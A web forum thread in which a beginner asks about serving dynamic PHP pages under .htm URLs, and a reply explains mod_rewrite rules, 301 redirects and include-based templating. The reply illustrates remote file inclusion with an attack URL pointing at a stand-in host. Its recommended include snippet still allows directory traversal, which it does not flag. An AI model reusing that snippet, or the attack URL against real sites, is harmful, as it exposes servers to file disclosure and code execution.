Forum Moderators: coopster
I have a question that has been bothering me for quite a long time : how are those dynamic sites converted to htm? I mean , for example this url: [webmasterworld.com...]
it's dynamic page although the ending is .htm. I guess there is something that converts it each time you enter it...
if so what are the advantages of it?
Marcin
Advantages:
- urls that are easier for humans to read (that pass the "phone" test)
- urls that are independent of file structure (rearrange files, but keep URLs)
- debatable advantages for search engine indexing (long query strings might be a problem)
- platform-independent URLs - users and SE should not know or care if you are using php, asp, jsp, static files or whatever to serve files. With rewrites, you can change technologies and not have to change URLs.
The point is I wanted to change my htm website into php and just put the "include" or "require" function inside it so that I have some sort of a tamplate (show.php?articleid=11, for example). But the problem is I don't know whether it will have any negative effect on my website.
So if the querystring is not very long, there shouldn't be any problem?
P.S Maybe there's some better way of templating?
(sorry for that noobish questions I'm quite new to php and the whole idea of creating websites...)
Many thanks
Do not change any existing urls. If you have inbound links, you want those to continue working. In fact, you may not even know you have inbound "links" because they have are in the form of bookmarks/favorites in someone's browser.
If there's not organizing principle, then you'll likely need a rewrite rule for every existing page once you convert it (how many do you have?).
So if you currently have
http://example.com/onefish.html
http://example.com/twofish.html
http://example.com/redfish.html
http://example.com/bluefish.html
You'll need something like
RewriteRule ^onefish.html show.php?articleid=1 [L]
RewriteRule ^twofish.html show.php?articleid=2 [L]
RewriteRule ^redfish.html show.php?articleid=3 [L]
RewriteRule ^bluefish.html show.php?articleid=4 [L]
Then for your new articles, you'll want some sort of system like
http://example.com/article/5/
http://example.com/article/6/
And your rule would look like this
RewriteRule ^article/([\d]+)(/.*¦$) show.php?articleid=$1$2 [L]
That would mean that internally, you could update your links to your old articles so that they are the same format as the new ones (http://example.com/article/1/ for onefish.html) and yet the external links would be still work.
If you go that route (changing your internal links), you would also want to make *sure* that you don't get indexed twice by the search engines and get a duplicate content penalty. In that case, you need to say what your canonical URL is (i.e. the one the SE should index). I've never actually had to do this, but I believe you'll want a two-step process. The first step tells the outside world (SEs in particular) that the old URL has changed, and gives the new *public* URL (send a 301 permanent redirect). The second step takes the new public URL and translates it for you script so that you can make the right database queries or find the correct include file, as the case may be.
RewriteRule ^onefish.html$ article/1/ [R=301]
RewriteRule ^twofish.html$ article/2/ [R=301]
RewriteRule ^redfish.html$ article/3/ [R=301]
RewriteRule ^bluefish.html$ article/4/ [R=301]
RewriteRule ^article/([\d]+)(/.*¦$) show.php?articleid=$1$2 [L]
That should be in the ballpark anyway. Note that there are many possibilities. You could do like this forum and append a .html like
RewriteRule ^onefish.html$ article1.html [R=301]
RewriteRule ^twofish.html$ article2.html [R=301]
RewriteRule ^article([\d]+)\.html show.php?articleid=$1 [L]
You could also grab the URLs and parse them out in a gatekeeper script without using mod_rewrite at all.
Also, note that there is no particular reason you have to use numbers. Whether you are using includes or DB queries, you can still use names as your ID. I only did it with numbers because that's what you use in your example. You could do something like this:
RewriteRule ^(.*)\.html(.*) show.php?articleid=$1.html$2 [L]
In this case, you have no need of the 301 redirects. In your php script you simply have something like this
$includes_dir = '/home/public_html/includes/';
if (is_file($includes_dir . $_GET['articleid'])) {
include($includes_dir . $_GET['articleid']);
}
In this case you run some risk in that if someone can get a malicious file onto your server, they can run it, even if it has PHP in the code. This is essentially the same risk you run in any case (i.e. if they can upload a PHP file they can run it). The key thing is that you hard code in the includes directory so that they can't do something like this
http://example.com/http://evildomain.com/evil_file.html
Then articleid = [evildomain.com...]
If you have a simple
include($_GET['articleid']);
The malicious person can run anything he wants on your server.
NB: this forum breaks pipes (¦) so copying and pasting will not work - you must manually retype the pipes.